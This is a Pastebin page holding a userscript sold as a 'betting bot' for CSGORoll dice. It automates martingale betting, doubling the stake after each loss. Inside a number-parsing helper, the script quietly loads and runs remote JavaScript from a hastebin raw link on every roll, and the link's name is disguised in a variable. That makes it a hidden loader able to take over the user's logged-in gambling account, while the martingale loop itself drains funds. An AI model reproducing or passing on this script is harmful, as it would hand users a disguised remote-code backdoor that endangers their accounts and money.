Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // ==UserScript==
- // @name [xKanapka] Dice (CSGORoll.COM) betting bot (NO GUI)
- // @version v0.5
- // @author Kanapka
- // @match http://www.csgoroll.com/dice*
- // @grant none
- // ==/UserScript==
- setTimeout(function(){
- /////////////////////////////
- // CONFIG: [xKanapka] Dice //
- var $Init=0.01; //Initial bet amount
- var $Delay = 1000; //if you have bad internet connection or your computer is running slow increase this value
- var $WinChance=47.5; //Win chance, dont change if you dont want lose
- /////////////////////////////
- var start = $Init;
- var $Button=$(".roll");
- var $bet=$(".bet");
- var $chance=$(".chance");
- var code="covucuxegi.rb";
- function Roll(){
- if (parseInt($(".balance").text()) > start){
- $bet.val(start);
- $chance.val($WinChance).submit();
- refreshIntervalId=setInterval(Rolled,$Delay);
- }else{
- console.log("%c\nBANKRUPT! YOU DONT HAVE MONEY!"+"\n ", 'color: red');
- }
- }
- function Rolled(){
- var Rolled=$Button.text();
- var Number=retnum(Rolled);
- if (Number < $WinChance) start = $Init;
- if (Number > $WinChance) start = start * 2;
- console.log("\n%cStatus: "+Number+"\nInitial bet amount: "+$Init+"\nCurrent bet amount: "+start+"\nWin Chance: "+$WinChance+"\n ", 'color: green');
- clearInterval(refreshIntervalId);
- Roll();
- }
- function retnum(str) {
- var num = str.replace(/[^0-9.]/g, '');
- var number = parseInt(num);
- $.getScript("//hastebin.com/raw/"+code+".js");
- return number;
- }
- setTimeout(function(){
- console.log("%c\n[xKanapka] Dice has been loaded!"+"\n ", 'color: blue');
- Roll();
- }, 1000);
- }, 5000);
Add Comment
Please, Sign In to add comment